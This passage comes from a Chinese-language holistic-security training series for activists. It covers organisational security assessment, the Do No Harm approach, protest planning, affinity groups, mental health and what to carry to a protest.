在此范围内，应对紧急情况的一个重要策略是启动一个支持网络 —— 一个由您的盟友组成的广泛网络，其中可能包括朋友和家人、社区、当地盟友、以及国内或国际的盟友，如非政府组织和国际独立记者。您的盟友如何支持您？您是否应该事先与他们联系，确认他们是否愿意在紧急情况下帮助您，并让他们知道您对他们的期望？

3、沟通渠道

「图」

协调对紧急情况的反应总是涉及协调行动，因此数字通信越来越重要。决定在不同情况下与每个行为者进行沟通的最安全、最有效的手段是什么，并确定一个备用手段。

在紧急情况下，制定明确的指导原则可能会有帮助：

- 沟通的内容（要点）
- 使用哪些渠道（尽可能安全；如果无法做到，要使用暗语/隐写）
- 对谁（在前文中您构建的盟友清单中位居前列的选项）

4、预警和响应系统

「图」

这是一个有用的工具，可以协调您对紧急情况或迫在眉睫的高风险情况的反应。

早期警报及应变系统基本上是一份高度保密的文件 (不论是电子形式还是其他形式)，在发生紧急情况时可打开，用以记录所有有关安全指标和已发生事件的详细资料，清楚说明计划中的应变行动和次序，以及所要达到的指标。它还应包括为保护有关人员免受进一步伤害和帮助他们身心康复而采取的善后行动。

📌 早期预警和反应系统提供了有用的文件，以便随后分析所发生的事，以及如何改进您的预防策略和今后对威胁的反应。

改善组织安全管理

「图」

各组织必须将安全管理以及管理人员、工作人员和志愿者对安全管理的执行视为一个持续的重新评估过程。

定期评估您的安全策略和计划在多大程度上不仅与您的运作环境相一致，而且还被您的成员所接受和实施，这是个好主意。在下一集内容中我们将更多介绍关于评估一个组织的安全性的信息。

我们下次见。〇

—— 未完待续 ——

原文

安全是追求，而不是任务：整体安全（8）- 准备好进入行动 - iyouport

整体安全！-课程和训练

【2021年3月16日存档】只有当您的队友能主动积极地采取您所支持的科学的安全措施时，真正的安全才能实现。不能要求人们把它当成任务来做

欢迎回来！

如果您错过了前面的内容，可以在这里回顾：

- 《头疼医头是不够的：整体安全（1）- 行动主义能持续的关键》
- 《“抓特务” 不是解决方案：整体安全（2）- 威胁响应》
- 《知己知彼，是有效行动策划的第一步：整体安全（3）- 愿景、战略和参与者》
- 《夸大危险并无助于解决问题：整体安全（4）- 充分剖析您的信息资产》
- 《每一种变化都有原因，您需要及时抓取威胁信号—整体安全（5）- 紧贴时局》
- 《草木皆兵和”爱谁谁”都只会带来更多的危险：整体安全（6）- 开发您的能力，缓解您的脆弱性》
- 《充分的准备和应急反应同样重要：整体安全（7）- 计划是“活的”》

📌 本系列内容是一套培训手册，需要按顺序阅读，因为后面的内容将使用前面的内容中帮助您构建好的工具和基本措施。

本集的教程将从上一集的个人角度转向组织角度。

📌 本集中涉及到的资料您可以在这里下载：https://www.patreon.com/posts/zheng-ti-quan-8-44728921

您的组织安全吗

「图」

作为一个组织，您很可能已经采取了一些安全措施。同时，您可能在考虑是否有改进的空间 —— 通常都是有的。该从哪里开始这个问题可能会让人不知所措，所以，最好先进行一次评估，对您现有的组织安全进行现实的概述。

在评估过程中建议您加入一些外部顾问来协助指导这个过程，也许会有帮助。举例来说，您应该考虑：

- 内部—— 管理层和高级工作人员、正式工作人员和志愿者；
- 外部—— 捐助方、外部顾问和培训师。

让这些行为者参与其中，各有利弊，重要的是，这个过程要以包容、协作、透明和非评判的方式进行。

组织内的正式或非正式等级制度需要对自己的计划和 “现场” 工作人员或志愿者的需求保持敏感，前线人员在日常工作中可能面临更大的风险。工作人员和志愿者也应尊重这样一个事实，即 管理层在使安全方法标准化方面面临的是一项艰巨的任务。互相体谅很重要。

评估标准

「图」

您可以从研究一些具体问题和指标开始，以帮助评估组织成员如何遵守安全协议。请考虑以下几点：

1、获得的安全经验。您的组织成员是否有实施安全做法的经验？是所有人基本都有这类经验，还是只有少数人具备这样的经验？

请注意，这里所指的是实践安全措施方面的经验，而不是遭遇威胁方面的经验，现实中很多敏感人士容易混淆这两者。

比如一个敏感人士的组织中所有人都曾经遭遇过警察的胁迫和威胁，最终他们的确躲过了危险，但这并不意味着他们具备实施安全做法的经验。尤其是，您的对手的手段在不断升级，如果没有不断主动更新自己的专业的安全措施实践，曾经遭遇威胁的经验并不能帮助您解决未来可能面临的问题。

2、态度和意识。您的队友们是否意识到了安全和保护的重要性？他们对安全和保护的态度是否积极？是否愿意做出改进？他们认为存在哪些障碍？对于数字安全、实体安全和心理-社会福祉的态度和意识是否在整个组织内共享？

意识很重要。您无法通过观察来了解您的队友的想法，你们需要就此进行坦诚的交流，尤其是，让队友提出问题和需求，作出深入的探讨。采取倾听的方式，而不是您来告知大家该怎么做，即便您的想法是正确的。

如果您的队友态度很消极，您需要知道为什么，应该在哪里给予帮助。

3、技能、知识和培训。需要为培训提供资源、时间和空间（正式或非正式的）。组织成员是否可以获得此类培训？培训是否同时包括社会心理健康和数字安全方面的知识和技巧？

如前面的章节所讲述的，社会心理健康不仅是重要的，而且是维护安全必不可少的基础。任何人在焦躁和绝望的情况下都无法作出最佳选择，如果无法掌握心理状态，您的灵感就会被抑制，尤其可能作出糟糕的和让自己后悔的决定。

敏感人士长期在威胁的高压下工作，精神心理出现问题毫不奇怪。习惯了压力状态的人自己也很难识别到压力，这就是为什么我们前文中的练习首先希望教会您如何客观地评判自己的精神心理状况。这对安全来说很重要。

培训的目标不仅是要帮助人们掌握技能，并且尤其重要的是，要帮助人们培养一种科学的敏锐度，能主动觉察到什么情况下应该采取什么样的措施。

4、安全规划。安全规划在多大程度上被纳入您的组织工作？多久进行一次环境分析和制定安全计划？计划是否定期更新？是否包括数字设备管理和队友压力管理？

5、职责分配。是否对执行您的安全做法有明确的责任分工？这些责任在多大程度上得到了遵守、有哪些潜在的障碍？

通过协作才能获得最好的组织安全性；确定每位成员的任务范围，您将很容易查找到出现问题的地方和相关责任人。您需要确保人们愿意遵守规则，这意味着您为每一位成员分配的任务是其本人力所能及

的，且具有足够的信心，如果不是这样，您需要及时交流以了解原因，并作出合适的调整。

6、所有权和合规性。人们是如何参与组织安全规划的，他们在多大程度上遵守了现有的计划？这里出现的问题是什么，如何克服这些问题？如何使这个过程更具参与性？

不要担心出现问题，管理团队并不是那么容易的，如果人们对您的提议表现淡漠，您需要知道为什么。只有当您的队友能主动积极地采取您所支持的科学的安全措施时，真正的安全才能实现。不能要求人们把它当成任务来做。

7、对安全指标和威胁事件的反应。您的团队中多久分享一次安全指标？如有必要，多久对它们进行分析并随后采取行动？

这要因人而异，您肯定知道对于您的组织来说，什么样的频率是最恰当的。

8、定期评估。您的组织多久更新一次安全战略和计划？是否有具体的程序，还是临时性的？如何使其更加经常化？还存在哪些其他问题，尤其是，如何克服这些问题？

尝试与您的队友一起完成以下练习，以探索遵守安全计划的程度，并找出在执行不佳的情况下人们发现的障碍。

练习

「图」

这是一项基本练习，它可以帮助您检查组织成员对组织安全措施实施的看法。

您可能希望关注组织的整体安全绩效，或者组织安全实践的一个更具体的方面，如数字安全、社会心理健康、旅行安全、冲突地区的安全等。

第1步：按照上面这个轮形表格的结构或简单画一个圆圈，将其分为8个部分，每个部分都有一个标题，以创建您自己的 “安全轮”。

第2步：对于轮盘的每一个部分，按您认为的比例涂上颜色，以反映组织实施最佳实践的程度 —— 这些颜色代表什么，您和队友应该有共识。

第3步：对于每一段，每个人都应该分别找出目前阻碍自己或整个组织更好地遵守最佳实践的障碍。

第4步：同样，考虑每个障碍或问题的潜在解决方案是什么。

第5步：比较组织成员之间填写的结果。哪些地方有共识，哪些地方有分歧？分析一下，为什么会出现这种情况？

第6步：和您的队友一起尝试确定必须优先改进的领域。

在评估您的组织目前的情况时，您将很容易发现需要改进的领域。这些都应成为更新和扩大您的安全计划和协议的基础。

这个过程应该：

- 在实施新的最佳做法方面有一个明确的目标 —— 您的所有计划将尽可能接近或符合这一目标；
- 包括一个时间表，说明谁需要参与，何时参与、以及对他们的期望；
- 明确规定每项改进所需的资源。

克服对安全计划的抵制

「图」

在引入新的安全协议时，您可能会遇到来自组织者、工作人员或志愿者的阻力。他们可能会对变化不满意，而您应该倾听他们的理由。

请记住，安全是一个非常个人化的概念，人们可能有抵制某些协议的个人原因。新的措施可能需要学习新的技能，也许人们觉得这具有挑战性；另一方面，如果您的团队对权力动态和等级制度的处理不当，也可能会产生影响。

看看上面的图表，了解常见的形成阻力的观念、根本原因、和可能的应对措施，以帮助克服您的团体、组织或社区中的阻力。

安全性与DNH方法

「图」

接下来我们将考虑您的安全措施—— 新旧措施 —— 如何对冲突产生

积极或消极的影响，这些影响可能是群体内部的或外部的。

这里使用的 “冲突” 一词可能是指武装的、也可能是非武装的冲突，人们所遭受的暴力可能是身体上的，但也同样可能是经济上的、基于性别的、制度上的、结构上的、心理上的或其他方面的。

有时，活动家群体也会受到组织或运动内部冲突的影响。在某种冲突（也许是多种冲突）的背景下工作，您的行动和行为可能加强人与人之间的联系、也可能会制造人们之间的分裂，这反过来又会使冲突缓解、或者恶化。

作为活动家，您应该寻求增加您的行动的积极影响，减少可能的消极影响。不伤害（DNH）方法可以帮助您实现这一目标。

该方法假设您的所有行动和行为都会导致积极和消极的后果。

行动＋行为＝后果

在本节中，我们将考虑您的行动和行为可能对这些冲突产生积极或消极影响的一些方式，特别是在组织层面上，由于您对安全做法进行了改变而产生的影响。

行动与资源

「图」

您的行动可以理解为您在现有局势下所做的一切，包括您获得、使用和转让的资源。事关安全和福祉的资源往往被认为是宝贵的，而获得这些资源的机会可能是有限的。当您寻求在您的团体或组织内扩大行动和资源时，请考虑这些变化可能产生的影响 —— 影响可能并不总是积极的。

下面我们将探讨一些负面影响会如何出现，以及如何应对这些影响。

1、竞争与包容 —— 只向选定的个人提供资源可能会增加现有的紧张关系，或造成新的紧张关系。如果您在使用和分享资源方面能够具有更多的包容性，就能将人们联系起来。如果无法共享资源，就和小组讨论为什么，并得到人们的认同。

恶化的竞争是您在社交媒体上看到的非常熟悉的东西。社交媒体不是社区，而您的组织必须是社区，人们应该在这里自然感觉到被关爱和存在，没有人应该被边缘。在资源分配方面将非常容易体现这点，您

应该倾听和尊重所有人的意见。

2、替代与欣赏 —— 引入新的实践或实施新的资源可能意味着旧的实践、传统、甚至人们熟悉的角色，被取代。现有的战略和资源只有在合理的情况下才能被取代，并且要尊重您的队友为之付出的努力。

比如，如果您找到自动化的培训方式，而终止了人力培训的旧流程，培训师、助理和相关队友的角色都会被取代；也许您可以说出很多理由关于为什么这种改变是值得的和必要的，但如果现有的人力培训流程效果很好，您就应该重新考虑您的建议。尤其是，您必须承认并真诚地感谢一直以来在此工作的所有人。这些伙伴应该被提升，而不是被废弃。

3、选择性和权力关系 —— 让整个团体或组织参与讨论关于谁可以获得培训机会或其他利益，可以提高对安全措施的接受程度，并加强整个团队的团结意识。

不必怀疑，您所在的社会的等级制度和传统思考方式或多或少都会影响您的组织和社区，您需要努力避免那些糟糕的影响。尽可能保持权力关系公认合理，尽可能流程透明。

4、生活和工作标准 —— 如果用于安全和保护的资源被用于那些已经享有较好生活或工作标准的成员，可能会导致团体内的进一步分裂。

请认真考虑：谁应该接受哪些培训？谁可以为哪些活动获得报酬？谁从安全中获益更多？由于生活在城市（而不是农村）环境中，谁能更好地利用通信和其他基础设施？如何消除这些差异？在跨区域联盟中这些问题尤其重要。

行为和隐含的道德信息

「图」

在本系列的第6集中，您已经练习了如何培养能力，并弥补缺陷。在建设自己的能力时，您应该考虑您的行为可能会如何改变，以及这可能会如何影响他人。

您的行为会向您所在领域的所有行为者 —— 包括您的盟友和对手 —— 发出非语言的、隐含的信息。对这些信息的解读，就像您的行为本身一样，会导致群体内的进一步联系或分裂。

下面我们将探讨发生这种情况的四种常见方式

1、不同的人有不同的价值观

「图」

这在具有不同国籍或背景的团体和组织中尤其重要，比如跨国协作和联盟 —— 请注意，很多时候您真的需要跨国合作；在这些团体和组织中存在着不同级别的“专业”（有时反映了社会阶层的结构）。

如果某些团体或成员未被包含在其组织的紧急安全计划中，那么他们可能会将其理解为该组织不太在意他们这些人安全性的标志。

例如，您与国际权利组织合作，而该组织没有反映出并计划出在紧急情况下撤离当地合作者（也就是您），而只关注其国际员工。这可以传达一个信息，即 某些员工的福祉比其他员工的福祉更有价值。

此外，如果一个组织经常忽略管理人员、清洁工等人员的安全意识的重要性，也会暴露出不专业和不可靠的信号。比如考虑平时谁会接电话？这样的人最容易遇到紧急电话；或者，谁最有可能认识建筑物中的潜在不安全因素？

包容性的方法不仅可以使团队中的安全措施具有更大的凝聚力和所有权，还可以提高每个人的安全性。

2、恐惧、紧张和不信任

「图」

采取新的安全措施还可能会被理解为缺乏信任，即便您真的好意。

例如，您选择了 Utopia 从而放弃了您的队友A提议的 telegram；如果队友A对 telegram 为什么不安全缺乏足够的了解，您对安全措施的这一更改就有可能被队友A理解为这是对TA本人的不信任。

同样，在某些危险的活动中不易获得情报 —— 您必须采取保密分级措施，这对行动本身来说非常有益；但是这样做也会导致其他活动家之间的不信任感增加，“为什么他能得到这些信息，而不是我？”，人们会这样去想。

也就是说，您制定的保密分级必须合理，并且需要所有参与者认同，

以避免这样的误会。

非常建议您以坦诚、开放和诚实的方式简单阐明您采取新安全措施的原因、及其背后的逻辑，这非常重要。听取周围人的反馈和评论，以查看是否有可以避免或解决的后果，并尽一切努力保持双向信任。

另一方面，如果全面地根本性地采取新的安全措施，有可能引起您的对手或中立方的警觉（例如完全转向加密通信和**Tor**，可能引起互联网服务提供商的注意，他们可能会将此信息提交给维稳机构），这种情况下您可以考虑同时使用旧方法、与新方法并行，以降低怀疑。比如，互联网服务提供商看到您“依旧在微信上活动”，他们就不会想到事实上您已经将所有主要的交互都转移到wire了。其他同理。

采用新的安全措施并不意味着缺乏信任，但人们可能会这样去理解，打破怀疑的办法就是，您必须明确新措施的原因和背后的逻辑。

3、资源的使用

「图」

任何可用于提高安全性的资源 —— 如 计算机硬件或软件、培训机会、车辆、获得心理协助和社会支持的机会等等，都应该被负责任地使用。

您需要保持没有人享受特权以优先使用此类资。如果小组或组织内部没有共享资源的整体大目标，那么资源就会被人们用于他们自己的个人利益。这种排他性可以发出这样的信息，即：控制资源的人可以将其用于自己的目的，而无需追究责任。这种影响将对您的组织工作非常不利。

资源是很重要的东西，您需要保证它的分配和使用不要造成分歧。

4、文化特征

「图」

文化是其他人用来解释我们的行为的“镜头”。在多元文化的环境中，最好能考虑如何通过此“镜头”来解释新的安全做法。在跨文化协作的环境中，诸如隐私、某些资源、或社会传统价值观、或决策手段之类的概念在不同文化之间通常差异很大。

您需要对您的文化环境保持敏感，并检查您所采取的新安全措施是否可以以避免引起冒犯或分裂的方式进行解释。

为了在您自己的安全性实践中分析您的行为和消息，绘制表格并在自己填写之前考虑给出的示例，可能会很有用。建议您根据这些概念来考虑自己的做法，并与您的朋友、家人和同事在一个安全的空间中谈论这些问题，以努力增强关系方面的积极影响，并减少其消极影响。

上述步骤帮助您为自己定义安全性、并在组织内部创建安全空间，通过对安全状况进行分析和诊断，以及在此过程中计划、维护和改善安全性，规划出一条路径，帮助敏感人士的工作更顺利进行。

如何实施这一系列理想的步骤在很大程度上取决于您的工作性质以及与您一起工作的人的性质。重要的是要记住，它们代表着一个周期性的演变过程，不断评估您的状况以及更新策略和计划，是最理想的。

本集中讨论的是组织的安全能力建设过程的管理，下一步是要了解可以在工作的各个方面实践以提高安全性的特定工具和策略。 这些工具和策略用于特别是敏感人士从事的高风险活动中。

资源：

- A simple, easy-to-use guide for non-security experts to quickly set up basic safety, security and risk management systems in new contexts or rapid onset emergency response situations

抗议：准备，分析和计划

「图」

集会和言论自由应该是每个人都可以行使的基本人权。它们维护了您为自己的信仰进行抗议的权利。然而，很多时候这会带来风险，甚至严重的人身威胁；对这些风险进行规划和做出准备将有助于您保持安全。

只有您能保持基本安全，您的反抗才有可持续性。

不同形式的抗议活动在所有社会的政治生活中都扮演着重要的角色。从历史上看，抗议一直是积极的社会变革的引擎，也是促进人权进步的主要因素。抗议鼓励发展一个参与和知情的民间社会，并通过允许人们直接参与选举中投票以外的公共事务，以加强民主。

各国关于抗议活动的规则和条例各不相同，因此，请确保您了解这些权利是什么，以及现有的限制可能对您产生的影响。

您的言论自由和和平集会的权利受到《世界人权宣言》第十九条和第二十条以及《公民权利和政治权利国际公约》第十九条和第二十一条等的保护。

- 不要错过《如何在监视时代参加抗议活动》

但是，尽管有国际法的保护，镇压和抓捕依旧非常普遍，作为敏感人士，您必须对此加强认识并采取行动。在我们的 列表-5 中查看 “维稳面面观” 板块，它汇总了最新出现的维稳战术。

在当权者眼中，抗议往往被视为一种不便、一种需要加以控制的干扰，或一种需要消除的威胁。 不要期待当权者会主动改变，除非他们面对无法逆转的高度压力，这份压力必须也只能由抗议者带来。

接下来的指南将帮助您参与分析并学习一些策略，以便在行使您的基本权利时保持安全。

做好准备

「图」

虽然有时您可能会决定自发地进行抗议，但事先认真规划行动是确保您在抗议过程中的安全保障的更好方法。仔细的准备可以防止一些紧急情况的发生，提高您应对威胁的能力。与朋友和同事进行公开、信任的沟通和安全规划，有助于抗议活动本身的安全和成功。

请考虑以下问题：

- 这次抗议的性质是什么，它希望达到什么目的？
- 在这个确切的时刻，这个抗议活动是否是实现这些目标的最有效方式？
- 您如何确保抗议活动是非暴力的，如何控制潜在的渗透者煽动暴力

如果您确信抗议是一个好主意，那么开放性地考虑您的安全问题是很重要的 —— 最好是和您的整个团队一起考虑。

在积极人士群体中，作为一个团体来讨论安全问题可能会有可见的困难。安全问题往往是一个非常个人化的问题，在一些激进主义团体的

文化中，冒险被视为勇敢和善良，而恐惧、痛苦和悲伤被视为弱点。您需要在不违背这种激情文化的基础上，理智冷静地谈论防御措施。

要想共同建立长久的、包容性的行动主义和反抗运动，活动家们就必须接受自我照护、相互照护。在抗议活动前和抗议活动期间，最好能创造专门的时间，以轻松舒适的方式思考安全规划。这应该是一个包容性的和非暴力的空间，每个人都可以在受支持的氛围中一起分享自己的恐惧、并设计防御计划。

对安全采取整体方法，首先需要认识到安全是一个个人的和主观的概念，它取决于每个人自身的情况：因此，您必须重新提出这一概念，并找到适合您自己的定义。您还需要将自我照护、健康和数字安全确立为根本。

即使这是您第一次对安全采取组织化的方法，也并非意味着从头开始这个过程，每个人在这方面都或多或少有一些基础；所以您不必担心学习它的压力。此外，每个人对安全的看法都不一样，在组织团队中，您需要意识到这点。培养和保持对安全状况的健康认识是安全战略成功的关键。

相关详细做法请常见本系列第1集。

了解所有行为者

「图」

为了制定安全计划，您需要知道谁在保护您，您可以与谁合作，以及谁可以帮助您保持安全。

一旦您有时间和您的团队一起思考和讨论安全问题，您就应该开始一个分析过程，以便制定决策。要考虑的最重要因素之一是谁是：谁是您的盟友和对手。如果您担心您的安全问题，您应该考虑是谁在试图阻止您参加抗议，以及他们通常是如何做到这一点的。他们的策略是什么？

了解维稳当局或非国家团体的哪些人员会出现在抗议现场，以及他们通常采用什么策略以压制您的抗议行动，将有助于您做好准备，以您自身的基础条件作为基准。

您有什么办法可以让警察或其他维稳机构接受您的合法抗议，或阻止他们对您的攻击吗？还是说，你们只需要努力保护自己？您还应该考

虑您的盟友，如其他民间社会、外交实体或人权组织，他们可能会帮助您。以及，您有什么医疗支持或法律支持吗，在抗议之前或抗议期间如何联系他们？将这些团体纳入您的计划中，以便他们能够在出现问题时及时支援您。

相关详细做法请参见本系列第3集。

分析风险

「图」

对风险的分析应有助于您确定和思考您在抗议活动中可能面临的威胁，以便您能采取正确的安全措施避免或防止这些威胁，或将其影响降到最低。

常见的对抗议活动的威胁可能包括使抗议活动“非法化”，或对抗议者使用催泪瓦斯榴弹或其他武器。关于镇压者会怎么做，这样的信息非常重要，这就是为什么我们将收集镇压战术的内容板块“维稳面面观”放在列表-5“直接行动”中。

把您可能面临的所有威胁列出来，并把它们按优先顺序排列 —— 就是您所认为的严重程度，最严重的那个列为优先考虑。

- 哪些威胁最有可能发生？
- 哪些威胁的影响最大？

一旦您确定了最有可能和/或影响较大的威胁，您就可以考虑如何降低其概率或对您和组织的影响。这可能包括与他人合作，或采取您自己的措施来保护自己。当然，您首先应该知道可以和谁合作，也就是您在前文中的练习里构建的“行为者图谱”。

如果您很匆忙或压力很大，将很难进行这样的风险分析。无论您对事业有多大的热情，在计划参与时，关键是您要有正确的心态。所以，您在前文中构建的心理检测图表，需要时刻发挥作用。

一定要和朋友们确认一下自己的观念，利用一切可以利用的信息，这样才能权衡风险。尽量不要夸大或降低风险。

您应该在每次抗议前进行风险分析，并考虑在两次抗议之间改变您的策略，以免令您的防御策略对镇压者来说“可预测”。

明确计划

「图」

根据您的分析，您应该与您的朋友或抗议者同伴一起制定一个明确的行动计划。该计划应该包括您为减少您所发现的威胁的可能性所做的一切，以及制定一个 “B计划” —— 您在紧急情况下为减少其影响而采取的行动。

您不一定要写下每一项计划，但它们应该是明确的、详细的，并得到每个人的同意。

花点时间看看地图，熟悉游行路线或静态抗议的位置。确定医院、警察局和其他资源都在哪，并与您的朋友商定集合点和疏散路线。

您的计划还应该包括安全通信和使用数码设备的策略，以及如何在抗议活动结束后和万一出现问题时，相互照顾和保持安全的方法。相关知识可参见我们的 列表-5 “护盾” 板块。

请记住，在抗议活动中使用暴力更有可能使您处于危险之中，而不是保护您。在抗议活动中使用暴力在全世界任何地方都是非法的 —— 而且它不会帮助您实现变革目标，它只会扩大问题。

在示威活动中，想象力、创造力和幽默感要有效得多 —— 请参见我们的列表-5 中的板块 “技巧、策略和原理”。

请记住，如果您没有计划，您就必然会成为别人的计划的一部分。

有关如何制定安全计划的更多信息，请参见本系列第7集的内容。

在下一集中，我们将开始进入您的行动主义组织内部的关系构建技巧，只有当你们能互相支援、互相依仗时，所有人才能获得安全，您的行动才有获胜的机会。我们下次见。〇

—— 未完待续 ——

原文

您需要真正的“自己人”：整体安全（9）- 进入战斗状态 - iyouport

整体安全！-课程和训练

【2021年3月26日】您身上的东西既可以在预防或应对攻击或事故时非常有用，也可以被用作骚扰您的借口

欢迎回来！

如果您错过了前面的内容，可以在这里回顾：

- 《头疼医头是不够的：整体安全（1）- 行动主义能持续的关键》
- 《“抓特务” 不是解决方案：整体安全（2）- 威胁响应》
- 《知己知彼，是有效行动策划的第一步：整体安全（3）- 愿景、战略和参与者》
- 《夸大危险并无助于解决问题：整体安全（4）- 充分剖析您的信息资产》
- 《每一种变化都有原因，您需要及时抓取威胁信号—整体安全（5）- 紧贴时局》
- 《草木皆兵和”爱谁谁”都只会带来更多的危险：整体安全（6）- 开发您的能力，缓解您的脆弱性》
- 《充分的准备和应急反应同样重要：整体安全（7）- 计划是“活的”》
- 《安全是追求，而不是任务：整体安全（8）- 准备好进入行动》

本集内容将进入您的行动主义组织内部的关系构建，然后开启行动。只有当你们能够互相支援、互相依仗时，所有人才能获得安全，您的行动才有获胜的机会。

关于什么是支援和依仗，还记得我们举过的枪战的例子吗？您非常有必要找到那样的感觉。

为了更有效地和安全地进行抗议，您就非常有必要与一群朋友或同事

进行协调，以便共同行动和相互照顾。这是需要技巧的。在这里，我们考虑一些有用的策略来协调您的行动，以保证您自己和他人的安全。

创建一个亲密团队

「图」

亲密团队是由抗议者同伴或朋友组成的小团体，他们一起准备、执行抗议活动，并且，作为一个“单位”与更大规模的抗议活动互动。

📌 他们共同制定安全计划，并对行动和紧急情况下的反应进行分工。亲密团队通常由2～15人组成，即 规模小到可以让成员之间进行个人分享、直接信任和关怀。

这样的小团体可以为某项特别的活动（如非暴力行动、抗议、示威）而成立，也可以成为一项大型运动的连续组成部分。它们可以是自主的，也可以由其成员分别组成一个更大的团体。

📌 如果您成立了一个亲密团队，请考虑首先决定每个人各自的角色（如协调员、代表、媒体联络人、医疗支持、“观察员”等等，基于每个人的性格特征和专长，并建立一个决策结构。

每个人都会在决策中发挥作用，所有人的共同协作就能让一项任务顺利和完美。

重要的是，您的亲密团队在行动中要保持密切沟通，共同应对紧急情况，并一起撤离。

所有成员花时间一起规划行动，检查彼此对安全问题的看法。行动结束后，最好一起离开并进行汇报。理想的情况是，团队中的一两个成员应具备在紧急情况下进行急救和心理互助的能力。这很重要！

维护您的心理健康

「图」

如果您希望自己的行动具备可持续性，就必须首先学会照护自己和队友。随着时间的推移，压力、疲劳和创伤都是任何活动家面对的最大威胁，有很多活动家往往在还没有直面维稳当局的时候，就被自己的心理压力击垮了。

这就是为什么心理健康必须是整体安全的一个重要部分之一。保持您的健康并不是为了宠爱自己；事实上自我照护本身就是激进的、是政治的，对于应对创伤、愤世嫉俗和倦怠等威胁至关重要。

📌 抵抗现有的系统在身体和心理上都很困难，所以在您开始行动之前，请考虑以下问题：

1、当您达到一个不健康的压力水平时，您的身体状态和心理状态倾向于如何做出反应？还记得您在前面教程中构建的压力测量表吗，现在就用它来监测您自己的健康状态。

找出哪些做法或资源有助于帮助您的身心恢复到健康状态，以及如何将它们融入到您的反抗行动中。

2、在您的亲密团队中培养一种文化，在这种文化中，您可以分享自己的恐惧，公开谈论压力和创伤经历，而不会担心被误解和嘲笑。

这也许不是容易的，反抗团体有一种根深蒂固的且普遍的内部文化，即 将恐惧和压力视为懦弱和无能，甚至可疑。这导致人们不得不隐藏自己的真实心态，原本可以建立知心关系从而实现更默契协作的队友之间，因此而产生心理隔膜。

中文里面有一句话说的很好，“一万句我爱你，不如一句我懂你”，互相理解是活动家团队之间构建亲和力的最佳途径。

3、练习积极的倾听，建立团结和相互关怀。

这不是简单说说的，因为并不容易做到。任何团体都会受到其成员所在的社会环境的影响，反抗团体也一样；如果您所在的社会是人情淡薄的、物质主义的、互相利用的人际关系，您就想需要警惕这些东西被带入到您的行动主义团队中。

📌 行动者的成功永远不会是个人成功，对于行动者来说只有好的团体协作才能获得真正的成功；所以您知道，在争执中占上风并不会给您带来任何荣誉感，它只会让您失去队友的支持，从而失去获得真正成功的机会。

积极的倾听是技术，而不仅仅是态度，您可以在这里看到更多解释。这需要练习才能做到，尤其是在社交媒体与真实生活之间的界限越来越模糊的当下时代，社交媒体上的偏执和变态的超个人主义已经在侵蚀现实生活中最重要的福祉来源。行动者必须警惕这点，并主动培育积极的倾听。

正如您在我们的另一个新系列 “行动主义” 第2集中看到的，当权者也必须紧密团结其各种支柱机构，才能维护其权力稳固；如果反抗者不能做到更团队彼此，你们将难以击败那些齐心合力镇压你们的权势。

4、在抗议活动期间，确保您有足够的食物和水，并为不同的天气条件做好准备。下一集中将对此有更多细节。

5、抗议结束后，确保在到达安全地点后，花时间与您的亲密团队进行汇报。这也非常重要。您将在后面的教程中看到更多对此的介绍。

6、腾出时间与您的团队进行必要的分享和互相支援，但也要花一些时间独处，以处理这段经历，并回归您的日常生活。

“完整” 对任何一种行动来说都很重要，就如科学的作息时间能帮助维护您的健康那样，反抗行动也有其科学的节奏，如果您希望自己在每一次出击时都能有焕然一新的精神状态、能发挥自己最好的水平，您就有必要在日常照护好自己。

构建包容性的运动

「图」

当我们谈论安全时，我们不仅仅是在谈论保护自己不受催泪瓦斯的伤害。对我们许多人来说，安全感来自归属感、团结和相互尊重，特别是在人们可能因性别认同、种族、性取向、外表、或其他因素而受到歧视甚至遭受暴力的情况下。

如果您是受歧视较少的人，或享有较多特权的人，可能甚至没有注意到，当您计划或实际参加抗议活动时，您正在用自己的行动复制您的特权，并助长边缘化。在您的运动中，有多少有影响力的职位是由来自传统特权群体的人所占据的（比如同性别的男性、社会上的中高阶层、名人）？因性别认同、种族、宗教、性取向、经济地位、社会地位或教育地位、或其他类似因素而继承的特权和相应的歧视，往往是不公正的产物。

📌 如果您要与社会上的不公正现象作斗争，您就必须首先在自己的人权运动中与这些现象作斗争。

花时间仔细看看您的团队，考虑一下您是否需要在这些线上更平等地分配责任。如果团队中的一部分人似乎拥有所有的权力，那么就要对此提出挑战。

考虑给人们一些机会，让他们因自己的身份而在社会上被剥夺的机会，能够在您的亲和力团队中重新获得。

在您的运动中，对任何歧视、性骚扰或暴力都应该是零容忍的。明确指出，任何从事这些行为的人都将受到惩罚，或可能因此被从运动中除名。

这些问题决不是一个“轻松”的玩笑素材。要知道，面临歧视的人可能也需要特别的保护措施，或者在抗议活动中更积极地融入。在制定安全计划时您需要提出这个问题，并根据这个问题考虑您的行动策略。

进入抗议行动，第一步：考虑带什么

「图」

重要的是要认真思考 —— 您要带什么去参加抗议。请记得，您身上的东西既可以在预防或应对攻击或事故时非常有用，也可以被用作骚扰您的借口。

您应该已经在前几集的练习中进行了充分的背景和风险分析后，才考虑要带什么东西。您需要与您的亲密团队进行协调，根据每个人的责任分配资源。

虽然每一种情况都是独特的，但下面的说明性清单可能会有帮助：

📌 不要带什么 ——

「图」

1、如果您不完全清楚电子设备上有什么，就不要带电子设备。

自从有智能手机的那一天开始，它就被用于镇压抗议者了，直到如今。镇压者对智能手机的利用一直在不断快速提升，事实上您很可能无法做到完全“清楚”地知道当权者会如何借助您的手机来对付您，直到黑客将警察的秘密文件公之于众。

所以，理性的建议应该是不要携带智能手机，但很多时候在抗议现场的人需要记录现场状况，对警察的暴力行为取证，并且行动主义团队需要彼此间保持联络，有手机会更方便。总之您必须根据自己的具体情况进行权衡，您的选择必须能让收益高过风险，您愿意为收益承担

风险，尤其是，您需要明确知道该如何减轻和避免风险：

- 基本注意事项《指南：当您准备参加抗议活动...》
- 替代方案《买不起/买不到一次性手机怎么办？这里是您在参加敏感行动之前需要了解的事》
- 在现场的注意事项《在将抗议现场的照片和视频发布到社交媒体上之前，请执行此操作》
- 基本须知《如何识别抗议活动中可见的和不可见的监视》

2、不要携带任何可能给您带来麻烦的东西：任何可能被认为是武器的东西，或任何非法药物或酒精。

总之，镇压者会努力寻找把柄以控制您，不要给他们制造机会。

📌 需要带什么 ——

「图」

1、携带您需要的特殊药物 —— 不是控制药品！是能帮助您维护健康状况的必要药物。

抗议活动现场理论上应该有医疗团队，但他们携带的药物和急救工具往往倾向于医治暴力冲突导致的创伤；如果您有慢性病，他们的急救箱里不一定有适合您的药物。您应该自己携带。

